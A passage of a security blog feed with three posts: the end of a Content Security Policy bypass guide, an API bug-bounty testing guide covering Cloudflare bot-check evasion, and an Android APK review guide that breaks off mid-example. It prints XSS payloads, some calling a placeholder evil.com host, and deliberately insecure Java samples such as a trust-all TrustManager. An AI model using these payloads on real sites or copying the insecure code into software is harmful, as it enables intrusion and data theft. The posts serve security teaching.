frame-ancestors), data exfiltration, and mixed-content issues.</p><p>However, CSP is not foolproof — misconfigurations often allow bypasses, rendering it ineffective.</p><h3>Common CSP Configurations and Bypass Techniques</h3><p>Many real-world CSPs are bypassable due to permissive settings. Here are frequent configurations with bypass methods (assuming an underlying XSS injection point, e.g., reflected input).</p><h3>1. ‘unsafe-inline’ in script-src</h3><p><strong>Config</strong>: script-src ‘self’ ‘unsafe-inline’;</p><p><strong>Bypass</strong>: Allows inline &lt;script&gt; tags directly. <strong>Payload</strong>: &lt;script&gt;alert(document.domain)&lt;/script&gt;</p><p>This defeats XSS protection entirely.</p><h3>2. ‘unsafe-eval’ in script-src</h3><p><strong>Config</strong>: script-src ‘self’ ‘unsafe-eval’;</p><p><strong>Bypass</strong>: Allows code creation from strings. <strong>Payload</strong>: &lt;script src=”data:text/javascript;base64,YWxlcnQoMSk=”&gt;&lt;/script&gt; (Base64 for alert(1)).</p><h3>3. Wildcards (*)</h3><p><strong>Config</strong>: script-src ‘self’ *;</p><p><strong>Bypass</strong>: Loads scripts from anywhere. <strong>Payload</strong>: &lt;script src=”https://evil.com/mal.js&quot;&gt;&lt;/script&gt;</p><h3>4. Whitelisted Domains with JSONP Endpoints</h3><p><strong>Config</strong>: script-src ‘self’ <a href="https://api.trusted.com;/">https://api.trusted.com;</a></p><p><strong>Bypass</strong>: If the domain hosts JSONP (callback parameter returns executable JS). <strong>Payload</strong>: &lt;script src=”https://api.trusted.com/data?callback=alert(document.domain)//&quot;&gt;&lt;/script&gt;</p><p>Common on older APIs/CDNs.</p><h3>5. AngularJS with Whitelisted Scripts</h3><p><strong>Config</strong>: script-src ‘self’ <a href="https://ajax.googleapis.com;/">https://ajax.googleapis.com;</a></p><p><strong>Bypass</strong>: Load old AngularJS version and abuse sandbox escape. <strong>Payload</strong>: &lt;div ng-app ng-csp&gt;&lt;script src=”https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js&quot;&gt;&lt;/script&gt;$event.view.alert(1)&lt;/div&gt;</p><h3>6. Missing object-src or default-src</h3><p><strong>Config</strong>: script-src ‘self’; (no object-src)</p><p><strong>Bypass</strong>: Use &lt;object&gt; with data URI. <strong>Payload</strong>: &lt;object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”&gt;&lt;/object&gt;</p><h3>7. File Upload + ‘self’</h3><p><strong>Config</strong>: script-src ‘self’;</p><p><strong>Bypass</strong>: Upload malicious JS file, reference it. <strong>Payload</strong>: &lt;script src=”/uploads/evil.js”&gt;&lt;/script&gt;</p><h3>8. Dangling Markup Injection (Missing base-uri)</h3><p><strong>Config</strong>: No base-uri directive.</p><p><strong>Bypass</strong>: Inject &lt;base href=”https://evil.com/&quot;&gt;, redirect relative scripts.</p><h3>9. Policy Injection</h3><p><strong>Config</strong>: User input reflected in CSP header.</p><p><strong>Bypass</strong>: Inject ; script-src ‘unsafe-inline’ to weaken policy.</p><h3>10. Nonce/Hash Misuse</h3><p>Predictable/static nonces allow guessing. Missing ‘strict-dynamic’ with whitelists enables legacy bypasses.</p><h3>Case Studies: Real-World CSP Bypasses</h3><ul><li><strong>Google Analytics Exfiltration (2020)</strong>: Whitelisted google-analytics.com allowed parameter abuse to send data to attacker’s GA account via query strings (ignored by CSP path matching).</li><li><strong>AngularJS in Whitelisted CDNs</strong>: Many sites whitelisting ajax.googleapis.com were vulnerable to short payloads loading old AngularJS for sandbox escapes.</li><li><strong>JSONP on Trusted Domains</strong>: Common in bug bounties; whitelisted APIs with callbacks enabled arbitrary JS execution.</li><li><strong>Uploaded Files as Scripts</strong>: Platforms allowing uploads (e.g., images misprocessed as JS) bypassed ‘self’ policies.</li><li><strong>Form Hijacking</strong>: Missing form-action allowed credential theft via injected forms.</li></ul><p>Studies (e.g., Google research) show most whitelist-based CSPs are bypassable due to JSONP/Angular on CDNs.</p><h3>Real World CSP Bypass:-</h3><h3>Analysis of the Given CSP Policy</h3><p>The provided CSP is delivered via a &lt;meta&gt; tag:</p><pre>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;script-src ‘self’ ; object-src ‘none’ ;&quot;&gt;</pre><p>(Note: The quotes are curly/typographic ‘ ’ instead of straight ‘ ‘; browsers typically normalize this, treating it as ‘self’ and ‘none’.)</p><p>This policy:</p><ul><li>Allows JavaScript only from the <strong>same origin</strong> (‘self’): external scripts are blocked, inline scripts (&lt;script&gt;alert(1)&lt;/script&gt;) are blocked, and event handlers (e.g., onclick) are blocked.</li><li>Explicitly blocks plugins/embedded objects (e.g., &lt;object&gt;, &lt;embed&gt;, &lt;applet&gt;) via object-src ‘none’.</li><li>Has no default-src, so unspecified directives fall back to allowing anything (but script-src overrides for scripts).</li></ul><p>This is a reasonably strict policy for mitigating XSS — it blocks most classic injection vectors like inline scripts or external malicious JS. However, it is <strong>not bulletproof</strong>. Vulnerabilities arise from <strong>application-specific features</strong> or misconfigurations on the same origin.</p><h3>Key Vulnerabilities</h3><p>The main weakness is reliance on ‘self’ for script-src. Anything served from the <strong>same domain/origin</strong> can be loaded and executed as script, even if it’s not intended to be JavaScript.</p><p>Common real-world vulnerabilities in this exact configuration:</p><ol><li><strong>User-Controlled File Uploads Served on the Same Origin</strong></li></ol><ul><li>If the application allows uploading files (e.g., avatars, documents, images) and serves them from the same domain without proper content-type enforcement or parsing restrictions.</li><li>An attacker uploads a file containing JavaScript (e.g., named malicious.js or even image.png with JS content and .js extension appended if allowed).</li><li>The server serves it as /uploads/malicious.js.</li></ul><ol><li><strong>Bypass Payload</strong> (assuming XSS injection point to reflect a &lt;script&gt; tag):</li></ol><pre>&lt;script src=&quot;/uploads/malicious.js&quot;&gt;&lt;/script&gt;</pre><ul><li>This loads from ‘self’, so CSP allows execution.</li><li>Seen in many bug bounty reports where uploads lack MIME-type sniffing or execution prevention.</li></ul><ol><li><strong>Other Same-Origin Scriptable Resources</strong></li></ol><ul><li>If the app has endpoints that return executable JavaScript based on user input (e.g., JSONP-like endpoints on the same domain, error pages with user input, or misconfigured APIs returning JS).</li><li>Example: An internal JSONP endpoint like /api/data?callback=userinput that wraps input in executable JS.</li><li>Payload: &lt;script src=”/api/endpoint?callback=alert(document.domain)//”&gt;&lt;/script&gt;</li></ul><ol><li><strong>Missing Directives Leading to Indirect Bypasses</strong></li></ol><ul><li>No base-uri: Potentially allows &lt;base href=”https://evil.com/&quot;&gt; to redirect relative loads (rare with strict ‘self’).</li><li>No child-src/frame-src: Could allow iframes to load same-origin content that executes JS indirectly (e.g., via srcdoc or data URLs in some edge cases, though modern browsers restrict this).</li></ul><h3>Why No Universal Bypass Exists</h3><ul><li>Inline scripts are fully blocked (no ‘unsafe-inline’).</li><li>Data URIs for scripts are blocked (not allowed under ‘self’).</li><li>&lt;object data=”data:…”&gt; is blocked by object-src ‘none’.</li><li>No whitelisted external domains means no JSONP/AngularJS gadget abuses from CDNs.</li><li>As of 2026, no known universal browser-level flaws bypass this exact config without app-specific help.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c890144e4432" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API Pentesting with Cloudflare .]]></title>
            <link>https://medium.com/@anandrishav2228/api-pentesting-with-cloudflare-1f52368fb3e4?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f52368fb3e4</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[money]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Sat, 27 Dec 2025 08:00:33 GMT</pubDate>
            <atom:updated>2025-12-27T08:00:33.408Z</atom:updated>
            <content:encoded><![CDATA[<h3>API Pentesting with Cloudflare .</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*NHX415tO3sILyvq3Y8Gr0Q.png" /></figure><h3>Step-by-Step Guide to Testing a Protected API in a Bug Bounty Program</h3><p>Since this API is part of a <strong>bug bounty program</strong>, always adhere strictly to the program’s rules and scope. Do not perform DoS, brute-force excessive requests, or anything that could disrupt service. Focus on ethical, low-impact testing. Report findings responsibly via the platform.</p><p>The “access restricted” JSON response in the browser likely indicates missing authentication (e.g., no API key, token, or valid session), rate limiting, or Cloudflare’s anti-bot checks (e.g., JS challenge or TLS fingerprinting). Cloudflare protects many APIs, but for bug bounty, you typically test through it — bypassing protections aggressively may violate rules unless explicitly allowed (rare).</p><h4>Step 0: Preparation and Setup</h4><ol><li><strong>Review Program Scope and Rules</strong>:</li></ol><ul><li>Check the bug bounty page for in-scope endpoints, allowed testing types, and restrictions (e.g., no automated scanning on certain paths).</li><li>Note safe harbors for Cloudflare-related findings.</li></ul><ol><li><strong>Core Tools You’ll Need</strong> (Free/Open-Source Focus for 2025):</li></ol><ul><li><strong>Burp Suite Community/Pro</strong>: Primary proxy for intercepting/modifying requests (essential).</li><li><strong>Postman</strong> or <strong>curl</strong>: For manual requests.</li><li><strong>OWASP ZAP</strong>: Free alternative to Burp for scanning.</li><li><strong>ffuf</strong> or <strong>Arjun</strong>: Parameter discovery/fuzzing.</li><li><strong>kiterunner</strong> or <strong>katana</strong>: API endpoint enumeration.</li><li>Optional: Nuclear extensions like <strong>burp-awesome-tls</strong> (for TLS spoofing) or similar for fingerprint bypass.</li></ul><ol><li>Install Burp and configure your browser/system proxy to 127.0.0.1:8080.</li></ol><h4>Step 1: Reconnaissance and Discovery</h4><ul><li>Find all API endpoints:</li><li>If it’s a web app API, crawl the site (via Burp Spider or katana) and look in JS files for endpoints.</li><li>Search public sources: Swagger/OpenAPI docs (often /swagger, /api/docs), Postman collections, or GitHub leaks.</li><li>Use tools like waybackurls or gau to find historical endpoints.</li><li>Understand authentication:</li><li>The “access restricted” likely means you need a valid auth token/header (e.g., Authorization: Bearer &lt;token&gt;, API-Key).</li><li>Register an account if possible, capture login requests in Burp, and extract tokens.</li><li>Check for undocumented auth methods.</li></ul><h4>Step 2: Handle Cloudflare Challenges</h4><p>Cloudflare may block or challenge proxied tools like Burp due to TLS fingerprints or headers.</p><ul><li>Basic Fixes in Burp:</li><li>Change User-Agent to a real browser (e.g., latest Chrome) via Burp’s Project Options &gt; Sessions &gt; Session Handling Rules (add macro to copy from browser).</li><li>Disable HTTP/2 if looping on challenges: Burp Settings &gt; Network &gt; HTTP &gt; uncheck “Allow HTTP/2”.</li><li>Override TLS ciphers: Settings &gt; Network &gt; TLS &gt; Use custom protocols &gt; disable suspicious ones (trial/error).</li><li>Advanced (if needed):</li><li>Install Burp extensions like <strong>Awesome TLS</strong> or <strong>uTLS</strong> spoofers to mimic real browser fingerprints.</li><li>Use a real browser with Burp proxy, solve any JS/captcha manually once, then reuse cookies.</li><li>For APIs (often no JS challenge):</li><li>Use curl/Postman directly with proper headers/cookies from a successful browser session.</li><li>If rate-limited, slow down requests.</li></ul><p>Do not aggressively “bypass” by finding origin IPs unless the program explicitly allows it (most don’t, as it’s misconfig hunting, not vuln testing).</p><h4>Step 3: Basic Manual Testing</h4><p>Once you can access the API successfully:</p><ul><li>Send requests via Burp Repeater or Postman.</li><li>Test OWASP API Top 10 (2023+ focus: Broken Auth, Object Level Auth, Mass Assignment, etc.):</li></ul><ol><li><strong>Authentication/Authorization</strong>:</li></ol><ul><li>Try without token → expect restricted.</li><li>Test token reuse, weak generation, or replay.</li><li>BOLA/IDOR: Change IDs in requests (e.g., /api/user/123 → your ID vs others).</li></ul><ol><li><strong>Rate Limiting</strong>:</li></ol><ul><li>Send 50–100 identical requests → check for proper limits or bypasses (e.g., via headers).</li></ul><ol><li><strong>Injection</strong>:</li></ol><ul><li>Payloads in parameters for SQLi, XSS (if reflected), Command Injection.</li></ul><ol><li><strong>Mass Assignment/Excessive Data Exposure</strong>:</li></ol><ul><li>Add extra parameters → see if server accepts unintended fields.</li></ul><ol><li><strong>Security Misconfig</strong>:</li></ol><ul><li>Check CORS, headers, version disclosure.</li></ul><h4>Step 4: Automated/Fuzzing Testing (Cautiously)</h4><ul><li>Use Burp Intruder for parameter fuzzing (low threads to avoid rate limits).</li><li>kiterunner: kr scan -w api-wordlist.txt -e <a href="https://api.target.com/">https://api.target.com</a></li><li>For auth issues: Test token prediction or weak secrets.</li></ul><h4>Step 5: Reporting</h4><ul><li>Reproduce cleanly with steps/POC.</li><li>Include impact (e.g., data access).</li><li>Submit via the platform.</li></ul><p>Start with manual auth testing — that “access restricted” is likely your first clue to a potential broken auth vuln if bypassable in-scope. Good luck, and stay ethical! If stuck on a specific response, share anonymized details for more tips.</p><p>Contact for personal Training .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f52368fb3e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android App Pentesting A to Z]]></title>
            <link>https://medium.com/@anandrishav2228/android-app-pentesting-a-to-z-a10c5d5d9846?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/a10c5d5d9846</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[money]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 11:59:00 GMT</pubDate>
            <atom:updated>2025-12-24T12:15:59.111Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*I2nZKAqJC_V1IPQXWBNSLQ.jpeg" /></figure><p>I’ll walk you through the entire process of analyzing an APK, from decompilation to identifying security vulnerabilities.</p><h3>Part 1: Setting Up Your Analysis Environment</h3><h3>Essential Tools</h3><p><strong>1. JADX (Primary decompiler)</strong></p><pre># Install JADX<br># Download from: https://github.com/skylot/jadx/releases<br># Or via command line:<br>wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip<br>unzip jadx-1.4.7.zip<br>cd jadx-1.4.7/bin<br>./jadx-gui  # For GUI version</pre><p><strong>2. APKTool (For resources and manifest)</strong></p><pre># Install APKTool<br>sudo apt install apktool<br># Or download from: https://ibotpeaches.github.io/Apktool/</pre><p><strong>3. Additional Tools</strong></p><pre># MobSF - Automated analysis<br>git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git<br>cd Mobile-Security-Framework-MobSF<br>./setup.sh</pre><pre># Frida - Dynamic instrumentation (for later)<br>pip install frida-tools</pre><pre># ADB - Android Debug Bridge<br>sudo apt install android-tools-adb</pre><h3>Part 2: Initial APK Analysis Workflow</h3><h3>Step 1: Basic APK Information</h3><pre># Get APK basic info<br>aapt dump badging app.apk | grep -E &quot;package|sdkVersion|targetSdkVersion&quot;</pre><pre># Extract APK<br>unzip app.apk -d extracted_apk/</pre><pre># Decompile with APKTool (for manifest and resources)<br>apktool d app.apk -o apktool_output</pre><pre># Decompile with JADX (for Java source code)<br>jadx -d jadx_output app.apk<br># Or use GUI: jadx-gui app.apk<br>```</pre><pre>### Step 2: Critical Files to Check First</pre><pre>**Priority Order:**</pre><pre>1. **AndroidManifest.xml** - App&#39;s configuration<br>2. **strings.xml** - Hardcoded strings, API keys<br>3. **network_security_config.xml** - Network security settings<br>4. **res/raw/** - Certificates, keys, config files<br>5. **assets/** - Additional resources, databases<br>6. **lib/** - Native libraries (.so files)</pre><pre>---</pre><pre>## Part 3: Understanding App Structure in JADX</pre><pre>### How to Map Classes to App Functionality</pre><pre>When you open an APK in JADX-GUI, you&#39;ll see this structure:<br>```<br>└── sources/<br>    ├── com/<br>    │   └── example/<br>    │       └── app/<br>    │           ├── MainActivity.java          ← Entry point<br>    │           ├── LoginActivity.java         ← Login screen<br>    │           ├── api/                       ← API communication<br>    │           ├── models/                    ← Data structures<br>    │           ├── network/                   ← Network code<br>    │           ├── utils/                     ← Helper functions<br>    │           └── services/                  ← Background services<br>    ├── androidx/                              ← Android libraries (skip)<br>    ├── com/google/                            ← Google libraries (skip)<br>    └── kotlin/                                ← Kotlin stdlib (skip)</pre><h3>Class Naming Conventions to Understand</h3><p><strong>Activity Classes</strong> — UI screens</p><ul><li>MainActivity, LoginActivity, HomeActivity</li><li>These handle user interface</li><li>Look for: input validation, data handling</li></ul><p><strong>Fragment Classes</strong> — UI components</p><ul><li>ProfileFragment, SettingsFragment</li><li>Sub-components of activities</li></ul><p><strong>Service Classes</strong> — Background operations</p><ul><li>LocationService, NotificationService</li><li>Look for: permission issues, data leakage</li></ul><p><strong>API/Network Classes</strong> — Communication</p><ul><li>ApiClient, NetworkManager, RetrofitService</li><li><strong>HIGH PRIORITY</strong> — Look for: insecure connections, API keys, authentication</li></ul><p><strong>Model/Data Classes</strong> — Data structures</p><ul><li>User, Payment, Transaction</li><li>Look for: sensitive data handling</li></ul><p><strong>Util/Helper Classes</strong> — Common functions</p><ul><li>CryptoUtil, StorageHelper, StringUtils</li><li>Look for: weak crypto, insecure storage</li></ul><h3>Part 4: Mapping UI to Code (Reverse Engineering App Flow)</h3><h3>Method 1: Start from AndroidManifest.xml</h3><pre>&lt;!-- AndroidManifest.xml --&gt;<br>&lt;application&gt;<br>    &lt;activity android:name=&quot;.MainActivity&quot;<br>              android:exported=&quot;true&quot;&gt;<br>        &lt;intent-filter&gt;<br>            &lt;action android:name=&quot;android.intent.action.MAIN&quot; /&gt;<br>            &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; /&gt;<br>        &lt;/intent-filter&gt;<br>    &lt;/activity&gt;<br>    <br>    &lt;activity android:name=&quot;.LoginActivity&quot; /&gt;<br>    &lt;activity android:name=&quot;.PaymentActivity&quot; /&gt;<br>&lt;/application&gt;</pre><p><strong>This tells you:</strong></p><ul><li>MainActivity is the first screen (LAUNCHER)</li><li>LoginActivity and PaymentActivity are other screens</li><li>Start analyzing from MainActivity.java</li></ul><h3>Method 2: Trace from Layout XML</h3><p>bash</p><pre># In apktool_output/res/layout/<br>ls -la<br># activity_login.xml → LoginActivity.java<br># fragment_profile.xml → ProfileFragment.java<br># activity_payment.xml → PaymentActivity.java</pre><p><strong>Open layout file to find IDs:</strong></p><pre>&lt;!-- activity_login.xml --&gt;<br>&lt;EditText<br>    android:id=&quot;@+id/editTextUsername&quot;<br>    android:hint=&quot;Username&quot; /&gt;<br>&lt;Button<br>    android:id=&quot;@+id/buttonLogin&quot;<br>    android:text=&quot;Login&quot; /&gt;</pre><p><strong>Find corresponding code in JADX:</strong></p><pre>// LoginActivity.java<br>public class LoginActivity extends AppCompatActivity {<br>    <br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_login);  // ← Links to XML<br>        <br>        EditText username = findViewById(R.id.editTextUsername);  // ← Found it!<br>        Button loginBtn = findViewById(R.id.buttonLogin);<br>        <br>        loginBtn.setOnClickListener(new View.OnClickListener() {<br>            @Override<br>            public void onClick(View v) {<br>                performLogin(username.getText().toString());  // ← Function to analyze<br>            }<br>        });<br>    }<br>}</pre><h3>Method 3: Search for Keywords in JADX</h3><p>Use JADX’s search function (Ctrl+Shift+F):</p><p><strong>For login functionality:</strong></p><ul><li>Search: &quot;login&quot;, &quot;authenticate&quot;, &quot;password&quot;</li><li>Find: LoginActivity, AuthManager, etc.</li></ul><p><strong>For payment functionality:</strong></p><ul><li>Search: &quot;payment&quot;, &quot;transaction&quot;, &quot;card&quot;</li><li>Find: PaymentActivity, PaymentProcessor, etc.</li></ul><p><strong>For API endpoints:</strong></p><ul><li>Search: &quot;api&quot;, &quot;http&quot;, &quot;endpoint&quot;</li><li>Find: ApiClient, NetworkManager, etc.</li></ul><h3>Part 5: Source Code Review Strategy in JADX</h3><h3>Priority Analysis Order</h3><h4>1. Authentication &amp; Session Management (CRITICAL)</h4><p><strong>What to look for:</strong></p><pre>// VULNERABLE: Hardcoded credentials<br>public class LoginActivity {<br>    private static final String API_KEY = &quot;sk_live_abc123xyz&quot;;  // ❌ BAD<br>    private static final String PASSWORD = &quot;admin123&quot;;          // ❌ BAD<br>}</pre><pre>// VULNERABLE: Weak password validation<br>private boolean validatePassword(String password) {<br>    return password.length() &gt;= 4;  // ❌ Too weak<br>}</pre><pre>// VULNERABLE: Storing credentials insecurely<br>SharedPreferences prefs = getSharedPreferences(&quot;auth&quot;, MODE_PRIVATE);<br>prefs.edit().putString(&quot;password&quot;, password).apply();  // ❌ Plaintext storage</pre><p><strong>How to find it in JADX:</strong></p><ol><li>Search for: SharedPreferences, password, token, auth</li><li>Look at: LoginActivity, AuthManager, SessionManager</li><li>Check: How credentials are stored and validated</li></ol><h4>2. Network Security (CRITICAL)</h4><p><strong>What to look for:</strong></p><pre>// VULNERABLE: Accepting all SSL certificates<br>TrustManager[] trustAllCerts = new TrustManager[]{<br>    new X509TrustManager() {<br>        public void checkClientTrusted(X509Certificate[] chain, String authType) {}<br>        public void checkServerTrusted(X509Certificate[] chain, String authType) {}  // ❌ Trusts everyone<br>        public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }<br>    }<br>};</pre><pre>// VULNERABLE: HTTP instead of HTTPS<br>private static final String BASE_URL = &quot;http://api.example.com&quot;;  // ❌ Not encrypted</pre><pre>// VULNERABLE: Certificate pinning disabled<br>OkHttpClient client = new OkHttpClient.Builder()<br>    .hostnameVerifier((hostname, session) -&gt; true)  // ❌ Accepts any hostname<br>    .build();</pre><p><strong>How to find it:</strong></p><ol><li>Search: TrustManager, HostnameVerifier, http://</li><li>Look at: ApiClient, NetworkManager, RetrofitBuilder</li><li>Check: network_security_config.xml in res/xml/</li></ol><pre>&lt;!-- VULNERABLE network_security_config.xml --&gt;<br>&lt;network-security-config&gt;<br>    &lt;base-config cleartextTrafficPermitted=&quot;true&quot;&gt;  &lt;!-- ❌ Allows HTTP --&gt;<br>        &lt;trust-anchors&gt;<br>            &lt;certificates src=&quot;system&quot; /&gt;<br>            &lt;certificates src=&quot;user&quot; /&gt;  &lt;!-- ❌ Trusts user certificates --&gt;<br>        &lt;/trust-anchors&gt;<br>    &lt;/base-config&gt;<br>&lt;/network-security-config&gt;</pre><h4>3. Data Storage (HIGH)</h4><p><strong>What to look for:</strong></p><pre>// VULNERABLE: Storing sensitive data in SharedPreferences<br>SharedPreferences prefs = getSharedPreferences(&quot;user_data&quot;, MODE_PRIVATE);<br>prefs.edit()<br>    .putString(&quot;credit_card&quot;, cardNumber)      // ❌ Sensitive data<br>    .putString(&quot;ssn&quot;, socialSecurityNumber)    // ❌ Very sensitive<br>    .apply();</pre><pre>// VULNERABLE: Writing to external storage<br>File file = new File(Environment.getExternalStorageDirectory(), &quot;backup.txt&quot;);<br>FileWriter writer = new FileWriter(file);<br>writer.write(sensitiveData);  // ❌ World-readable</pre><pre>// VULNERABLE: SQL Injection<br>String query = &quot;SELECT * FROM users WHERE username = &#39;&quot; + username + &quot;&#39;&quot;;  // ❌ SQL Injection<br>database.rawQuery(query, null);</pre><p><strong>How to find it:</strong></p><ol><li>Search: SharedPreferences, File, SQLite, rawQuery</li><li>Look at: DatabaseHelper, StorageManager, DataRepository</li><li>Check: /data/data/package_name/ on rooted device</li></ol><h4>4. Cryptography (HIGH)</h4><p><strong>What to look for:</strong></p><pre>// VULNERABLE: Weak encryption<br>Cipher cipher = Cipher.getInstance(&quot;DES&quot;);  // ❌ DES is broken<br>// Should use: AES/GCM/NoPadding</pre><pre>// VULNERABLE: Hardcoded encryption key<br>private static final String KEY = &quot;1234567890123456&quot;;  // ❌ Hardcoded<br>SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), &quot;AES&quot;);</pre><pre>// VULNERABLE: Weak random number generation<br>Random random = new Random();  // ❌ Predictable<br>int pin = random.nextInt(10000);<br>// Should use: SecureRandom</pre><pre>// VULNERABLE: ECB mode (pattern leakage)<br>Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);  // ❌ ECB mode<br>// Should use: AES/GCM/NoPadding or AES/CBC/PKCS5Padding with IV</pre><p><strong>How to find it:</strong></p><ol><li>Search: Cipher, SecretKey, encrypt, decrypt, Random</li><li>Look at: CryptoUtil, EncryptionHelper, SecurityManager</li><li>Check: Key storage and generation methods</li></ol><h4>5. Intent &amp; Component Security (MEDIUM-HIGH)</h4><p><strong>What to look for in AndroidManifest.xml:</strong></p><pre>&lt;!-- VULNERABLE: Exported component without protection --&gt;<br>&lt;activity android:name=&quot;.AdminActivity&quot;<br>          android:exported=&quot;true&quot; /&gt;  &lt;!-- ❌ Anyone can launch --&gt;</pre><pre>&lt;!-- VULNERABLE: Exported service --&gt;<br>&lt;service android:name=&quot;.PaymentService&quot;<br>         android:exported=&quot;true&quot; /&gt;  &lt;!-- ❌ No permission required --&gt;</pre><pre>&lt;!-- VULNERABLE: Exported content provider --&gt;<br>&lt;provider android:name=&quot;.UserDataProvider&quot;<br>          android:authorities=&quot;com.example.provider&quot;<br>          android:exported=&quot;true&quot; /&gt;  &lt;!-- ❌ Accessible by any app --&gt;</pre><p><strong>In Java code:</strong></p><pre>// VULNERABLE: Intent with sensitive data<br>Intent intent = new Intent(&quot;com.example.CUSTOM_ACTION&quot;);<br>intent.putExtra(&quot;credit_card&quot;, cardNumber);  // ❌ Broadcast to everyone<br>sendBroadcast(intent);</pre><pre>// VULNERABLE: Implicit intent for sensitive operation<br>Intent intent = new Intent(Intent.ACTION_VIEW);<br>intent.setData(Uri.parse(userProvidedUrl));  // ❌ Can be hijacked<br>startActivity(intent);</pre><p><strong>How to find it:</strong></p><ol><li>Check: AndroidManifest.xml for exported=&quot;true&quot;</li><li>Search: sendBroadcast, startActivity, Intent</li><li>Look at: BroadcastReceiver classes, exported Activities</li></ol><h4>6. WebView Security (MEDIUM-HIGH)</h4><p><strong>What to look for:</strong></p><pre>WebView webView = findViewById(R.id.webview);<br>WebSettings settings = webView.getSettings();</pre><pre>// VULNERABLE configurations<br>settings.setJavaScriptEnabled(true);  // ⚠️ Be careful<br>webView.addJavascriptInterface(new WebAppInterface(), &quot;Android&quot;);  // ❌ If not careful</pre><pre>settings.setAllowFileAccess(true);  // ❌ Can access local files<br>settings.setAllowContentAccess(true);  // ❌ Can access content://</pre><pre>// VULNERABLE: Loading untrusted content<br>webView.loadUrl(userProvidedUrl);  // ❌ No URL validation</pre><pre>// JavaScript Interface vulnerability<br>public class WebAppInterface {<br>    @JavascriptInterface<br>    public String getToken() {<br>        return authToken;  // ❌ Exposed to JavaScript<br>    }<br>}</pre><p><strong>How to find it:</strong></p><ol><li>Search: WebView, JavascriptInterface, loadUrl</li><li>Look at: WebViewActivity, BrowserActivity</li><li>Check: What’s exposed through JavaScript interfaces</li></ol><h4>7. Logging &amp; Debug Information (MEDIUM)</h4><p><strong>What to look for:</strong></p><pre>// VULNERABLE: Logging sensitive data<br>Log.d(&quot;LoginActivity&quot;, &quot;Password: &quot; + password);  // ❌ Visible in logcat<br>Log.e(&quot;API&quot;, &quot;API Key: &quot; + apiKey);               // ❌ Exposed<br>System.out.println(&quot;Credit Card: &quot; + ccNumber);   // ❌ Bad practice</pre><pre>// VULNERABLE: Debug mode enabled<br>if (BuildConfig.DEBUG) {<br>    // This code runs in production too if not properly configured<br>    Log.d(&quot;DEBUG&quot;, &quot;Secret: &quot; + secret);<br>}</pre><pre>// VULNERABLE: Stack traces with sensitive info<br>try {<br>    performOperation();<br>} catch (Exception e) {<br>    e.printStackTrace();  // ❌ Full stack trace to logcat<br>}</pre><p><strong>How to find it:</strong></p><ol><li>Search: Log.d, Log.e, System.out, printStackTrace</li><li>Check: All logging statements for sensitive data</li><li>Use: adb logcat to see what&#39;s actually logged</li></ol><h4>8. API Keys &amp; Secrets (CRITICAL)</h4><p><strong>Where to look:</strong></p><pre>// In Java code<br>public class ApiConfig {<br>    public static final String API_KEY = &quot;AIzaSyC-xxx&quot;;  // ❌ CRITICAL<br>    private static final String SECRET = &quot;sk_live_xxx&quot;;   // ❌ CRITICAL<br>}</pre><pre>// In strings.xml<br>&lt;string name=&quot;google_maps_api_key&quot;&gt;AIzaSyC-xxx&lt;/string&gt;<br>&lt;string name=&quot;stripe_key&quot;&gt;pk_live_xxx&lt;/string&gt;</pre><pre>// In BuildConfig<br>BuildConfig.API_KEY  // Generated from gradle</pre><pre>// In native libraries (.so files)<br>// Use: strings lib/armeabi-v7a/libnative.so | grep -i key</pre><p><strong>How to find it:</strong></p><ol><li>Search: api_key, secret, token, password</li><li>Check: strings.xml, BuildConfig.java</li><li>Use: grep -r &quot;api&quot; jadx_output/</li><li>Look in: res/raw/, assets/</li></ol><h3>Part 6: Practical Analysis Example</h3><p>Let me show you a real analysis workflow:</p><h3>Example: Analyzing a Banking App</h3><p><strong>Step 1: Initial Reconnaissance</strong></p><pre># Decompile<br>jadx-gui banking_app.apk</pre><pre># Check manifest for entry point<br># Found: MainActivity is launcher<br>```</pre><pre>**Step 2: Map the App Flow**<br>```<br>AndroidManifest.xml shows:<br>├── MainActivity (LAUNCHER)<br>├── LoginActivity<br>├── DashboardActivity<br>├── TransactionActivity<br>└── PaymentService (exported=&quot;true&quot; ⚠️)</pre><p><strong>Step 3: Analyze Critical Components</strong></p><p><strong>LoginActivity.java:</strong></p><pre>// Found vulnerability 1: Weak password validation<br>private boolean validatePassword(String pass) {<br>    return pass.length() &gt; 6;  // ❌ Only checks length<br>}</pre><pre>// Found vulnerability 2: Insecure storage<br>SharedPreferences prefs = getSharedPreferences(&quot;auth&quot;, MODE_PRIVATE);<br>prefs.edit().putString(&quot;user_pass&quot;, password).apply();  // ❌ Plaintext</pre><p><strong>ApiClient.java</strong></p><pre>// Found 